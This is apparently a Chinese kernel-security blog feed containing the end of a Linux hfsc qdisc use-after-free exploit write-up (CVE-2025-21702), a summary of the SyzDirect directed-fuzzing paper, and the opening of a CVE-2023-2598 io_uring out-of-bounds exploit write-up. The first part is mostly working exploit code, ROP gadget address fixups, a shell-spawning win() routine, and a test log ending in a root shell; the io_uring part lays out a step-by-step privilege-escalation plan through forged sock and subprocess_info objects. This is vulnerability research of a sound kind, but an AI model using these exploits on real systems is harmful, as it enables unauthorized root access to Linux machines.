    	code_execution_primitive->network_interface_ifindex,
    	TC_H_ROOT,
    	code_execution_primitive->qdisc_A_handle,
    	code_execution_primitive->qdisc_A_handle
    );
    

6-4. 触发控制流劫持

code_execution_primitive_trigger() - [exploit.c#L1561]

void code_execution_primitive_trigger(struct code_execution_primitive *code_execution_primitive)
{
	trigger_qdisc_enqueue(
		code_execution_primitive->raw_packet_socket,
		code_execution_primitive->network_interface_ifindex
	);
	trigger_qdisc_enqueue(
		code_execution_primitive->raw_packet_socket,
		code_execution_primitive->network_interface_ifindex
	);
}

注意,需触发hfsc_enqueue() -> cl->qdisc->enqueuepfifo_tail_enqueue())2次:

  • 第1次packet入队,使得Victim_Qdisc->q.qlen == 0,这样hfsc_dequeue()会提前返回。
  • 第2次packet入队,使得Victim_Qdisc->q.qlen == 1,这样hfsc_dequeue()会触发cl->qdisc->dequeue()控制流劫持。

7. 整体利用

(1)保存用户态寄存器 - [exploit.c#L1769]

save_state();

void save_state(void)
{
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_ss, ss;"
		"mov user_rsp, rsp;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
}

(2)当前任务绑定到CPU core 0,使exp上下文位于同一核,以利用percpu slab cachefreelist - [exploit.c#L1770]

pin_on_cpu(0);

(3)创建并进入user/network命名空间 - [exploit.c#L1771]

setup_namespace();

(4)绕过KASLR - [exploit.c#L1772]

u64 kernel_base = find_kernel_base();

(5)更新内核地址 - [exploit.c#L1773]

update_kernel_address(kernel_base);

void update_kernel_address(u64 kernel_base)
{
	init_task += kernel_base;
	init_fs += kernel_base;
	push_rdi_pop_rsp_ret += kernel_base;
	mov_qword_ptr_rax_rsi_ret += kernel_base;
	mov_rdi_rax_rep_ret += kernel_base;
	pop_rdi_ret += kernel_base;
	pop_rcx_ret += kernel_base;
	pop_rsi_ret += kernel_base;
	add_rax_rcx_ret += kernel_base;
	add_rsp_0x8_ret += kernel_base;
	prepare_kernel_cred += kernel_base;
	commit_creds += kernel_base;
	find_task_by_vpid += kernel_base;
	swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base;
}

(6)劫持控制流 - [exploit.c#L1790]

code_execution_primitive_setup_network_interface(&code_execution_primitive);
code_execution_primitive_build_primitive(&code_execution_primitive);
code_execution_primitive_trigger(&code_execution_primitive);

(7)内核返回到win() - [exploit.c#L1586]

void win(void)
{
	sleep(2);
	static char *sh_args[] = {"sh", NULL};
	execve("/bin/sh", sh_args, NULL);
}

可能由于路径上有softirq,所以立即调用execve会导致获取shell失败(不确定)。需调用sleep(2)

8. 测试

成功提权

john@john-virtual-machine:~/Desktop/tmp$ ssh -p 10021 hi@localhost
hi@localhost's password: 
Linux syzkaller 6.6.75 #3 SMP PREEMPT_DYNAMIC Thu Dec 18 02:07:49 EST 2025 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 26 08:36:27 2026 from 10.0.2.10
$ uname -a
Linux syzkaller 6.6.75 #3 SMP PREEMPT_DYNAMIC Thu Dec 18 02:07:49 EST 2025 x86_64 GNU/Linux
$ ls
exploit  keyutils-1.5.9  keyutils-1.5.9.tar.gz
$ ./exploit
[1-1] prepare heap read data
    (1) create `NETLINK_ROUTE` socket
   test --- heap_read_primitive->route_socket :0x10489c10
    (2) create raw packet socket
   test --- heap_read_primitive->raw_packet_socket :0x4
    (3) prepare 3 qdisc handle & 4 classid
    (4) prepare parameters for spray `user_key_payload`
[1-2] prepare parameters for spraying `xfrm_policy` in kmalloc-1024
[1-3] heap read & find KASLR
  [1-3-1] spray 16 `xfrm_policy`
  [1-3-2] prepare heap read - OOB of `user_key_payload`
    (1) create dummy network interface
     test ---- route_socket: 0x10489c10
    (2) set interface up
       test ---  11111
    --------- heap read build ---------
      (1) preapare UAF
          -------- prepare UAF --------
          <1> create `Qdisc_A`
          <2> create `Qdisc_C`
          <3> trigger bug
          <4> delete `Qdisc_C`
          <5> create `class_A`
          <6> create `Qdisc_B`
          <7> create `Qdisc_C`
          <8> change `Qdisc_A` route
          <9> trigger bug: Qdisc_A -> Qdisc_B -> Qdisc_C
          <10> delete `Qdisc_C`
          <11> create normal `Qdisc_C`
          <12> trigger Flow2
          <13> trigger Flow1
      (2) spray `user_key_payload` to take up `UAF hfsc_class`
      (3) leak addr of `hfsc_class`
[+]        hfsc_class B address: 0xffff8881055cf800
      (4) construct fake rb_tree - 2 node (1-`class_B` / 2-`UAF_hfsc_class`)
      (5) add node - `UAF_rb_node->rb_right`
      (6) find overlapped `user_key_payload` - read `UAF_rb_node->rb_right`
      (7) free unimportant `user_key_payload`
      (8) trigger overwrite - `user_key_payload_B->datalen` -> overflow
       test ---  22222
  [1-3-3] spray 16 `xfrm_policy`
  [1-3-4] trigger heap read
    --- Read length of user_key_payload: 49313 = 0xc0a1
[+] leak kernel_base: 0xffffffff81000000
[2-1] CFH initialize
   test --- code_execution_primitive->route_socket :0x10498610
   test --- code_execution_primitive->raw_packet_socket :0x8
[2-2] CFH - setup network interface
     test ---- route_socket: 0x10498610
[2-3] CFH - construct CFH
  (1) trigger UAF
          -------- prepare UAF --------
          <1> create `Qdisc_A`
          <2> create `Qdisc_C`
          <3> trigger bug
          <4> delete `Qdisc_C`
          <5> create `class_A`
          <6> create `Qdisc_B`
          <7> create `Qdisc_C`
          <8> change `Qdisc_A` route
          <9> trigger bug: Qdisc_A -> Qdisc_B -> Qdisc_C
          <10> delete `Qdisc_C`
          <11> create normal `Qdisc_C`
          <12> trigger Flow2
          <13> trigger Flow1
  (2) spray `user_key_payload` to take up `UAF_hfsc_class`
  (3) leak addr of `hfsc_class`
[+]        hfsc_class B address: 0xffff8881055d9000
  (4) construct fake Qdisc & ROPchain
  (5) delete `class_B` - `UAF hfsc_class`
  (6) spray `user_key_payload` to take up `class_B`
  (7) spray `user_key_payload` to take up `user_key_payload_A`
  (8) setup to make `->enqueue()` return `NET_XMIT_SUCCESS`
[2-4] CFH - trigger
# id
uid=0(root) gid=0(root) groups=0(root)
# 

9. 常用命令

libmnl / libnftl 安装

$ sudo apt-get install libcap2-bin bzip2 make pkg-config        # 安装 setcap/bzip2/make/pkg-config
$ tar   -jxvf    xx.tar.bz2
$ ./configure --prefix=/usr && make     # libmnl / libnftl
$ sudo make install

liburing 安装(本次exp不需要安装liburing)

# 安装 liburing   生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

ftrace调试:注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx

# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable

# ssh 连进去执行 exploit

cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt

# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ 	# 下载文件

# 记录函数调用 (参考 https://blog.csdn.net/panhewu9919/article/details/103114321)
# (1) 挂载 debugfs
$ mount -t debugfs none /sys/kernel/debug
# (2) 配置 ftrace,以追踪sys_write为例
echo function_graph > /sys/kernel/debug/tracing/current_tracer
# echo sys_write > /sys/kernel/debug/tracing/set_graph_function  # 指定追踪syscall
echo 1 > /sys/kernel/debug/tracing/tracing_on
# 执行write操作(比如运行echo命令)
echo 0 > /sys/kernel/debug/tracing/tracing_on
cat /sys/kernel/debug/tracing/trace > trace_output.txt

/sys/kernel/debug/tracing # echo 0 > /proc/sys/kernel/ftrace_enabled 
/sys/kernel/debug/tracing # echo 0 > tracing_on
/sys/kernel/debug/tracing # echo function_graph > current_tracer 
# /sys/kernel/debug/tracing # echo __do_fault > set_graph_function
/sys/kernel/debug/tracing # echo 1 > /proc/sys/kernel/ftrace_enabled
/sys/kernel/debug/tracing # echo 1 > tracing_on
/sys/kernel/debug/tracing # echo 0 > tracing_on
/sys/kernel/debug/tracing # cat /sys/kernel/debug/tracing/trace > /home/hi/trace_output.txt

3-1. exp说明

libnl —— Netlink交互封装库,包含 nlmsg_alloc() / nlmsg_put() 等函数。

安装libnl

$ tar -xvf ./libnl-xx.tar.gz
$ ./configure --prefix=/usr && make
$ sudo make install

3-2. idea

ROP链的组装问题:例如将$RSI指向的地址处的指针赋值给$RSP,作者原先是通过两次leave;ret$RBP指向的地址处的指针赋值给$RSP。尝试了很多种方法,详见 代码分析.md。

poc触发漏洞:本漏洞只会造成释放后引用nft_object->use--,如果不KASAN插桩的话,不会造成崩溃。这一点和CVE-2023-4004漏洞的Double-Free效果不同。在不源码插桩的情况下,需改进QEMU进行内存监控。

漏洞挖掘模式提取:这里的问题是,对于nft_object->use引用计数的加和减不平衡,导致UAF。参加代码分析 9/11,CVE-2023-4569和错误处理路径上的新漏洞(可惜已经修复,触发poc可参见test.c,6.1.42未修复版本nft_add_set_elem(),调用的是nft_set_elem_destroy();对应6.1.43已修复版本nft_add_set_elem(),调用的是nf_tables_set_elem_destroy())可作为案例。

参考

https://github.com/quanggle97/security-research/tree/master/pocs/linux/kernelctf/CVE-2025-21702_lts_cos

Linux流量控制(Traffic Control)介绍 —— 概念科普

Linux内核中网络数据的流量控制(TC: Traffic control 和 QDISC) —— qdisc tree图示示例,TC命令示例

Linux内核中流量控制 —— 源码分析,内核版本2.6.x

看图理解linux内核网络流量控制工具tc(Traffic Control) —— 图示展示qdisc / filter / class / action 的关系;有示例tc命令的解释

三万字深度剖析Linux 高级路由与流量控制手册(建议收藏)

]]>
bsauce
【bsauce读论文】2023-CCS-Syzdirect-内核导向型模糊测试2024-11-18T00:00:00+08:002024-11-18T00:00:00+08:00https://bsauce.github.io/2024/11/18/CCS-Syzdirect【bsauce读论文】2023-CCS-Syzdirect-内核导向型模糊测试

基本信息

  • 原文标题:SyzDirect: Directed Greybox Fuzzing for Linux Kernel
  • 原文作者:Xin Tan,Yuan Zhang,Jiadong Lu,Xin Xiong,Zhuang Liu,Min Yang
  • 作者单位:Fudan University
  • 关键词:DGF
  • 原文链接:DOI link
  • 开源代码:Syzdirect

1. 论文要点

问题:给定内核程序点,如何识别正确的入口syscall、确定参数范围并引导syzkaller到达指定点。

主要内容:提出SyzDirect,主要工作是识别入口syscall、参数优化、根据路径反馈来指导种子调度。对syzdirect进行漏洞复现和补丁测试,发现比其他内核fuzzer,漏洞复现提高320%,补丁测试提高25.6%。

2. 介绍

内核DGF挑战

  • (1)映射内核代码与syscall变体(控制流):内核有330个原始syscall,Syzkaller定义了4200个syscall变体,识别正确的入口syscall有助于减少耗时。且内核中使用了大量的间接调用,控制流分析很容易产生误报。
    • 案例:见Figure 1,sendmsg只有使用RDS(Reliable Datagram Socket)协议才能到达;间接调用使得控制流分析也不准确,sendmsg→...→rds_sendmsg→...→rds_rdma_extra_size,基于类型的指针分析[31]不能很好的解决本问题,识别出235个调用能到达本位置。
  • (2)准备syscall参数(数据流):需要分析深层代码,但内核代码有大量间接调用、链表操作、嵌套的数据结构和多层指针引用,很难进行准确的数据流分析(precondition分析)。
    • 案例:sendmsg的第2个参数需满足条件,才能走到rds_rdma_extra_size()调用点(Line 6)。

Fig-1-sendmsg-example

Syzdirect流程:给定内核代码位置,采用静态分析对内核代码和Syzlang进行分析。

  • 一是对内核操作和resource建模,为内核代码匹配入口syscall变体(Syzlang模板中);
  • 二是识别syscall依赖,也即生成resource的syscall;
  • 三是识别出到达指定点,syscall参数需满足的条件,优化入口syscall的参数描述。
  • 利用以上信息引导fuzz,主要是定制化种子变异策略和路径反馈机制。

3. Approach

概念:

  • 入口syscall:表示原始syscall,Linux内核中有300多个调用。
  • syscall变体:syzlang中定义的具体调用,一个原始入口syscall可以有多个syscall变体,代表一种功能。

3-1. 入口syscall识别

思路:由于Linux内核对file/socket/device等抽象资源进行管理,syscall是对resource进行操作的接口,内核函数实现负责具体操作。所以可根据所操作的resource来识别入口syscall

示例:见Fig 1,目标函数rds_rdma_extra_size()只能通过内核函数rds_sendmsg()可达,rds_sendmsg()rds_proto_ops结构的成员函数。本文模型可以识别出rds_create()函数用到了rds_proto_ops结构(该函数注册socket时需指定AF_RDS family中的SOCK_SEQPACKET type),然后发现只有$rds family(socket$rds, bind$rds,sendmsg$rds)提供了到该resource的接口,这样就能将目标函数匹配到相应的syscall变体,也即rds_rdma_extra_size()通过sendmsg$rds可达。

步骤

  • dispatch过程:内核解析参数,跳转到对应功能函数。也即确定操作什么resource,如何操作。

  • anchor函数:dispatch过程之后执行的第1个函数。

  • (1)操作建模:根据syscall名和命令参数来表示对resource的操作类型。对于Syzlang,可直接提取出syscall名和命令参数(将常数当作命令参数)。对于内核源码,采用控制流和数据流分析来收集命令值(首先,用后向控制流分析,从syscall入口往后分析CFG,定位switch语句;再进行数据流分析,确定switch变量是否和syscall参数有关),将case分支中的函数当作anchor函数,case对应的常数作为命令参数。

    • 示例:Fig 3,syscall变体keyctl$update采用KEYCTL_UPDATE作为命令值,操作建模记为[keyctl, KEYCTL_UPDATE];代码方面,每个case分支中的函数作为anchor函数,收集case中的常量作为操作,提取KEYCTL_UPDATE常量(Line 6)和anchor函数keyctl_update_key()(Line 7)作为 [keyctl, KEYCTL_UPDATE]

      Fig-3-operation-modeling

  • (2)resource建模:resource命名在syzlang和内核代码中可能不一致。

    • (2-1)Syzlang模板。可采用创建resource时用到的字符串+常量来表示resource,eg,创建文件系统/设备resource时需要一个字符串(文件系统/设备路径),创建socket时需指定family和socket类型。

    • 示例:Fig 4,sendmsg$rds需要resource sock_rds作为输入(Line 2),创建sock_rds用到的常量可表示该resource - [AF_RDS,SOCK_SEQPACKET];同理,openat$i915(去掉路径前缀)可描述resource fd_i915

      Fig-4-resource-modeling

    • (2-2)内核函数。有时,通过间接调用才能执行到目标点,可向上找到间接调用所在的虚表结构

      • 首先,手动收集总结内核中的注册函数(例如sock_register()),找到其调用点,如rds_init()处,分析调用参数(rds_family_ops结构),找到创建函数rds_create());
      • 然后,分析创建函数中的赋值语句,找到resource相关的常量和虚表结构rds_proto_ops);
      • 最后,对每个注册函数的调用点,采用收集到的resource相关的常量来寻找对应的resource。
    • 示例:

      • 可参见Fig 1,rds_rdma_extra_size()往上控制流分析找到rds_sendmsg()函数,再往上涉及间接调用,所以将rds_sendmsg()看作anchor函数;
      • 检查rds_sendmsg()的引用点,发现属于rds_proto_ops结构(属于RDS socket的虚表);
      • 接下来分析RDS socket创建,见Fig 5。
      • Line 4 - RDS模块初始化调用socket注册函数;
      • Line 9-10 - 分析其参数和嵌套成员,找到family类型和创建函数rds_create()
      • Line 22 - 找到rds_proto_ops赋值位置;Line 16 - 找到socket类型为SOCK_SEQPACKET。即可确认rds_sendmsg() anchor函数需要AF_RDS SOCK_SEQPACKET resource。
    • Fig-5-resource-moduling-example

  • (3)基于anchor函数匹配syscall变体:从目标点反向控制流分析,找到所有路径上的anchor函数,建模,然后和syscall变体(Syzlang)比对,看是否有相同操作和resource模型。
  • (4)识别入口syscall:最终识别入口syscall和syscall变体。

3-2. syscall依赖推断

思路:根据所操作的resource来推断,例如,socket$rdssendmsg$rds 对同一socket进行操作。参考Healer[40]的方法,分析入口syscall的输入参数,收集参数的resource类型,再找到能生成该resource类型的相关syscall,如果找到过多相关syscall,可只保留本模块中的。

3-3. syscall参数优化

思路:参考syzlang模板。仅仅依靠syscall变体是无法准确确定参数范围的,eg,Fig 1中Line 6检查消息类型是否为RDS_CMSG_RDMA_ARGS,这是syscall变体无法确定的。Syzlang中根据resource(eg,a socket)或sub-resource(eg,a socket for a specific protocol)对syscall参数进行了描述。例如,sendmsg$rds支持7种消息类型(RDS_CMSG_RDMA_ARGS, RDS_CMSG_RDMA_DEST, RDS_CMSG_RDMA_MAP, etc)。可先识别出支配目标位置或影响间接调用的条件(代码条件,常量),再匹配到syzlang中的参数条件,这样不需要进行数据流分析和precondition分析,以进行优化约束剪枝。

示例:见Fig 1,Line 6的条件涉及值RDS_CMSG_RDMA_ARGS,对应到syzlang中的参数条件,也即RDS_CMSG_RDMA_ARGS消息类型。

见Fig 6,Syzlang模板中,sendmsg$rds第2个参数是msghrd_rds对象,其包含一个嵌套结构cmsghrd_rdscmsghrd_rds是一个union,可以是7个控制消息中的一个(RDS_CMSG_RDMA_ARGSRDS_CMSG_RDMA_DEST,etc.)。根据先前识别的参数条件-RDS_CMSG_RDMA_ARGS,正好匹配Fig 6中Line 10的参数描述,可删除其他消息类型,以优化参数。

Fig-6-Argument-refinement-example

3-4. 导向型内核fuzz

思路:根据以上信息,限制种子变异过程,生成符合模板的测试用例,优先变异距离目标近的种子并赋予更多能量。保存测试用例时,优先考虑能覆盖新的代码边,或距离目标近的种子。

距离计算:距离计算参考AFLGo。

  • Syscall距离:所有基本块中到目标点最短的距离;
  • seed距离:取seed中最短的syscall距离;
  • template距离:选最短的5个seed距离的平均值。

方法

  • 模板引导变异:模板就是前面的Syscall入口和优化后的参数。
  • 距离引导调度:基于距离反馈优化种子调度。

4. 实验

实验内容:漏洞复现与补丁测试

对比:syzkaller、SyzGo(AFLGo变体)、GREBE。

结果:漏洞复现个数,比syzkaller、SyzGo和GREBE分别多320%,281%,121%;补丁测试覆盖目标数,比syzkaller、SyzGo分别多覆盖25.6%,36.1%。

Table-1-bug-reproducing

Table-3-patch-testing

]]>
bsauce
【kernel exploit】CVE-2023-2598 io-uring物理内存越界读写(伪造sock对象)2024-07-30T00:00:00+08:002024-07-30T00:00:00+08:00https://bsauce.github.io/2024/07/30/CVE-2023-2598【kernel exploit】CVE-2023-2598 io_uring物理内存越界读写(伪造sock对象)

影响版本:Linux 6.3-rc1~6.3.1

测试版本:Linux-v6.3.1 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

注释 CONFIG_SYSTEM_TRUSTED_KEYS / CONFIG_SYSTEM_REVOCATION_KEYS 这两行

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.1.tar.xz
$ tar -xvf linux-6.3.1.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:io_uring模块中的OOB写漏洞,可导致越界读写物理内存,漏洞位于目录 io_uring/rsrc.cio_sqe_buffer_register()函数,在检查所提交的待注册page是否属于同一复合页时,仅检查了所在复合页的首页是否一致,而没有检查所提交的page是否为同一page。可以注册同一个物理页(冒充多个物理页组成的复合页),构造物理页任意长度越界读写。

补丁patch 漏洞引入是在6.3-rc1 io_uring/rsrc: optimise registered huge pages;6.3.2 / 6.4-rc1版本中修复。

// io_uring/rsrc: check for nonconsecutive pages
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index ddee7adb40060..00affcf811ad9 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -1117,7 +1117,12 @@ static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
 	if (nr_pages > 1) {
 		folio = page_folio(pages[0]);
 		for (i = 1; i < nr_pages; i++) {
-			if (page_folio(pages[i]) != folio) {
+			/*
+			 * Pages must be consecutive and on the same folio for
+			 * this to work
+			 */
+			if (page_folio(pages[i]) != folio ||
+			    pages[i] != pages[i - 1] + 1) { 	// 检查和前一个page是否为同一page
 				folio = NULL;
 				break;
 			}

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:利用物理页任意长度越界读写,可以任意读写其后的sock对象,通过sock->sk_data_ready泄露内核基址,通过sock.sk_error_queue.next泄露sock对象的堆地址,通过伪造sock.__sk_common.skc_prot->ioctl函数指针指向call_usermodehelper_exec()函数来劫持控制流,还需要伪造subprocess_info结构来完成利用,最终执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0 来提权

  • (0)初始化:绑定到CPU0、初始化io_uring、设置最大可打开文件数(默认为1024,nr_memfds-映射漏洞物理页的最大可打开文件数,nr_sockets-最大可打开的socket个数);
  • (1)堆喷#nr_sockets个sock对象;
    • 设置标记:设置sk_pacing_rate / sk_max_pacing_rate0xdeadbeef;——便于确定漏洞对象后面是有效的sock对象
    • 设置文件描述符:将 sk_sndbuf 设置为 j = (sockets[i] + SOCK_MIN_SNDBUF)*2,也即 (4+4544)*2 = 0x2388;——便于确定sock对象对应的是哪一个文件描述符
  • (2)堆喷注册#nr_memfds个共享的漏洞物理页;
    • 创建#nr_memfds个匿名文件(memfd_create()),分配1个物理页(fallocate());
  • (3)创建receiver_fd,映射receiver_buffer内存(mmap()),用于存放越界读取的数据和伪造的数据;
  • (4)遍历匿名文件,先向io_uring注册实现用户态与内核态内存共享;
    • 在固定地址 0x4247000000 处映射 65000 个连续的虚拟页(绑定该匿名文件),对应的物理页只有1个;
    • io_uring注册该缓冲区;
  • (5)每次越界读取500个页;
    • (5-1)确保 sk_pacing_rate / sk_max_pacing_rate == egg,表示找到了sock对象;
    • (5-2)sock对象偏移;
    • (5-3)泄露内核地址:通过sock对象中的sk_data_ready指针(对应的函数是sock_def_readable());
    • (5-4)泄露sock对象对应的FD:通过sock->sk_sndbuf值进行泄露,以便后续劫持函数指针之后,对这个socket进行操作;
    • (5-5)泄露sock对象堆地址sock.sk_error_queue.next值指向自身,减去该成员的偏移即为sock对象地址;
  • (6)保存tcp_sock以备份,在漏洞利用完成后恢复sock对象,避免内核崩溃;
  • (7)篡改sock.__sk_common.skc_prot 指向伪造的 proto 对象(位于sock对象的偏移1400处);
  • (8)伪造proto->ioctl函数指针,call_usermodehelper_exec()函数,该函数可在内核空间启动一个用户态进程;
  • (9)伪造subprocess_info->path,也即 "/bin/sh"字符串(proto对象开头,不要覆写proto->ioctl);
  • (10)伪造subprocess_info->argv的三个参数(proto对象的后面),也即 -c /bin/sh &>/dev/ttyS0 </dev/ttyS0等三个参数对应的字符串和指针;
  • (11)伪造subprocess_info对象(在sock对象开头),注意subprocess_info.work.func 设置为call_usermodehelper_exec_work() 函数(负责生成我们的新进程);
  • (12)触发ioctl,将会触发call_usermodehelper_exec函数,延迟执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0 ,即可获取一个root shell。

io_uring简介:io_uring于2019年在内核5.1中首次引入,使应用程序可以异步执行。用户能够批量提交系统调用,不会阻塞系统调用,并且减少系统调用上下文切换或字节拷贝带来的开销。可通过io_uring_register(IORING_REGISTER_BUFFERS)来注册用户和内核的共享缓冲区。详细io_uring介绍可参见CVE-2021-41073

1. Linux内存管理新特性-folio

1-1. 复合页

复合页引入:内核v5.16引入了内存管理特性 folio,原因是随着计算机内存越来越大,以4KB的页为基本单位显然已经不够了,于是引入了复合页(Compound Page),组合多个物理页为1个单元。例如,当采用4KB页来分配2M的内存并进行访问时,需分配512个page,操作系统需要经历512次TLB miss和512次缺页中断,才能将这2M地址空间全部映射到物理内存上;但如果使用2M的复合页,只需1次TLB miss和1次缺页中断。

分配复合页:调用__alloc_pages()分配内存时,如果分配标志GFP指定了__GFP_COMP,内核就会将这些页组成复合页,例如__folio_alloc()就添加了__GFP_COMP分配标志。复合页的首页被称为head page,其余页称为tail page,所有的tail page都有指向head page的指针。

问题

  • 如何表示N个page组成了一个复合页整体?
  • 哪些page是head?
  • 哪些page是tail?
  • 共有多少个page组成复合页?

解决:在引入folio结构之前,内核采用如下方式来解决以上问题。

  • 在首页的page结构体上,引入PG_head标记来表示head page—— page->flags |= (1UL << PG_head);
  • 在其余N-1个页的page结构体上,将 compound_head 的最后一位置1来表示tail page —— page->compound_head |= 1UL;
  • 利用 _compound_head() (返回page->compound_head)和 PageTail() 来取出 head page 和判断该page是否为tail page
  • 利用 compound_order() 来获得复合页中的page个数。

1-2. folio结构体

问题:使用page结构来处理复合页,存在两个易引起混乱的问题,一是如果给函数传递一个tail page的页描述符的指针,那么这个函数是应该操作这个tail page还是把复合页作为一个整体操作?二是如果总是调用_compound_head()获取复合页的head page,会增大性能开销。

解决:为了解决复合页产生的问题,Linux 5.16引入了folio的概念,folio表示一个0-order页或者一个复合页的首页。只要给函数传递一个folio,函数就会操作整个复合页,没有歧义(folio肯定不是tail page,这样就避免了这两个问题)。

folio介绍:folio本质是一个集合,是物理连续、虚拟连续的order-n个page集合,单个页也算是一个folio。folio将page中常用的字段,放在了和page同等的位置。folio vs page

struct folio {
	union {
		struct {
			unsigned long flags;
			union {
				struct list_head lru;
				struct {
					void *__filler;
					unsigned int mlock_count;
				};
			};
			struct address_space *mapping;
			pgoff_t index;
			void *private;
			atomic_t _mapcount;
			atomic_t _refcount;
#ifdef CONFIG_MEMCG
			unsigned long memcg_data;
#endif
	/* private: the union with struct page is transitional */
		};
		struct page page;
	};
    ...
}

struct page {
	unsigned long flags;
	union {
		struct {
			union {
				struct list_head lru;

				struct {
					void *__filler;
					unsigned int mlock_count;
				};
				struct list_head buddy_list;
				struct list_head pcp_list;
			};
			struct address_space *mapping;
			union {
				pgoff_t index;		/* Our offset within mapping. */
				unsigned long share;	/* share count for fsdax */
			};
			unsigned long private;
		};
        ...
        struct {	/* Tail pages of compound page */
			unsigned long compound_head;	/* Bit zero is set */
		};
        ...
}

内核代码改进:引入复合页后,需要对大量驱动代码和文件系统代码进行更改。新的内核需要两组不同的API来处理复合页。

void folio_get(struct folio *folio);
void get_page(struct page *page);
void folio_lock(struct folio *folio);
void lock_page(struct page *page);

2. 漏洞分析

漏洞根源是在注册fixed buffer时,调用流程是 io_uring_register(IORING_REGISTER_BUFFERS) -> __io_uring_register() -> io_sqe_buffers_register() -> io_sqe_buffer_register()。注册缓冲区并锁定,专用于读写数据,这些内存空间不会被其他进程占用。

(1)__io_uring_register()

static int __io_uring_register(struct io_ring_ctx *ctx, unsigned opcode,
			       void __user *arg, unsigned nr_args)
	__releases(ctx->uring_lock)
	__acquires(ctx->uring_lock)
{
	int ret;
    ...
    switch (opcode) {
	case IORING_REGISTER_BUFFERS:
		ret = -EFAULT;
		if (!arg)
			break;
		ret = io_sqe_buffers_register(ctx, arg, nr_args, NULL); 	// <--- io_sqe_buffers_register()
		break;
    ...
    }
}

(2)io_sqe_buffers_register() —— 遍历注册每一个buffer

int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
			    unsigned int nr_args, u64 __user *tags)
{
	struct page *last_hpage = NULL;
	struct io_rsrc_data *data;
	int i, ret;
	struct iovec iov;

	BUILD_BUG_ON(IORING_MAX_REG_BUFFERS >= (1u << 16));

	if (ctx->user_bufs)
		return -EBUSY;
	if (!nr_args || nr_args > IORING_MAX_REG_BUFFERS)
		return -EINVAL;
	ret = io_rsrc_node_switch_start(ctx);
	if (ret)
		return ret;
	ret = io_rsrc_data_alloc(ctx, io_rsrc_buf_put, tags, nr_args, &data);
	if (ret)
		return ret;
	ret = io_buffers_map_alloc(ctx, nr_args);
	if (ret) {
		io_rsrc_data_free(data);
		return ret;
	}

	for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
		if (arg) {
			ret = io_copy_iov(ctx, &iov, arg, i);
			if (ret)
				break;
			ret = io_buffer_validate(&iov);
			if (ret)
				break;
		} else {
			memset(&iov, 0, sizeof(iov));
		}

		if (!iov.iov_base && *io_get_tag_slot(data, i)) {
			ret = -EINVAL;
			break;
		}

		ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i], 	// <--- io_sqe_buffer_register()
					     &last_hpage);
		if (ret)
			break;
	}

(3)io_sqe_buffer_register() —— 通过 io_pin_pages() 函数锁定物理页,作为io_uring的共享内存区域,防止被换出:

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	struct io_mapped_ubuf *imu = NULL;
	struct page **pages = NULL;
	unsigned long off;
	size_t size;
	int ret, nr_pages, i;
	struct folio *folio = NULL;

	*pimu = ctx->dummy_ubuf;
	if (!iov->iov_base)
		return 0;

	ret = -ENOMEM;
	pages = io_pin_pages((unsigned long) iov->iov_base, iov->iov_len, 	// <--- io_pin_pages()
				&nr_pages);
	if (IS_ERR(pages)) {
		ret = PTR_ERR(pages);
		pages = NULL;
		goto done;
	}
    ...
}

(4)io_pin_pages() —— 作用是将用户空间的一段内存(由ubuflen确定)锁定在物理内存中,并返回对应的物理页的指针数组。

struct page **io_pin_pages(unsigned long ubuf, unsigned long len, int *npages)
